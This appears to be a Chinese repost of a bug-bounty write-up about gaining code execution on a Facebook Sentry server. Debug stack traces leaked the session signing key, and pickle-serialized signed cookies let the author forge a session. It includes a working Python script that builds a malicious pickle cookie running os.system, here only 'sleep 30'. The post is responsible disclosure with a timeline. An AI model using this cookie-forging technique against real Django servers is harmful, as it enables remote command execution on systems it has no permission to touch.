• 我发现了Facebook服务器上的一个漏洞
  • 发布于 2个月前
  • 123 热度
    0 评论
  • 没逍遥
  • 0 粉丝 38 篇博客
  •   

背景:这篇文章主要介绍我在Facebook的一个服务器上发现的一个漏洞。


我在扫描一个属于Facebook(199.201.65.0/24)的IP段时,我发现一个Sentry服务托管在199.201.65.36,主机名是sentryagreements.thefacebook.com。Sentry是一个日志收集web应用程序,使用Python和Django框架开发。
当我查看应用程序时,一些stacktrace经常莫名其妙的出现在页面。该应用程序在用户密码重置功能上似乎并不稳定,偶尔崩溃。由于Django调试模式没有关闭,因此在发生stacktrace时会打印整个系统环境。然而,由于Django切断了stacktrace中的关键信息(密码、秘密、密钥…),从而避免了大量信息泄漏。

然而,通过仔细观察stacktrace,我发现一些环境变量键值很有意思:

The SESSION_COOKIE_NAME is sentrysid
The SESSION_SERIALIZER is django.contrib.sessions.serializers.PickleSerializer
The SESSION_ENGINE is django.contrib.sessions.backends.signed_cookies

SENTRY_OPTIONS键将一些Sentry配置保存在一个列表中。
Pickle是用于(反)序列化Python对象结构(如其中的类和方法)的二进制协议。这里有一篇比较全面的文章,它解释了Pickle是什么及其安全影响,文章地址:https://www.balda.ch/posts/2013/jun/23/pyth-webframeworks-pickle/
如果我们能够伪造包含任意序列化(pickle)内容的会话,我们就可以在系统上执行命令。可是,在stacktrace中,Django用来签名会话cookie的SECRET_KEY不可用。不过,SENTRY_OPTIONS列表中一个名为system.secret-key的键并没有被切断。引用Sentry文档的内容,system.secret-key是"一个用于会话签名的秘钥。如果被盗用,重新生成它是很重要的,否则很容易导致用户会话劫持。";哇,它看起来像是Django SECRET-KEY的重载!

由于我安装了用任意序列化内容来伪造自己cookie的所有工具,所以我写了一个小脚本,在我自己的sentrysid cookie中添加了一个payload。代码如下:

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os

SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()

print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

这段代码简单证明了一个想法: 它获取已经存在的sentrysid cookie的内容,并将其替换为一个任意对象,该对象在系统读取信息的时执行os.system(“sleep 30”)命令 。
当使用这个cookie时,页面实际上需要额外花费30秒来加载,这就确认了缺陷的存在。
Facebook宣布了这个漏洞,并关闭了系统,直到漏洞得到修复,然后通知我已经安装了补丁。
这是披露时间表,这也表明Facebook的安全人员响应很及时:
30.07.2018 00:00 CEST : 初步披露每一个细节。
30.07.2018 15:25 CEST : 筛选并停机。
09.08.2018 18:10 CEST : 安装补丁。
09.08.2018 20:10 CEST :5000美元奖金发放 –服务器位于单独的VLAN中,没有用户的具体数据。

用户评论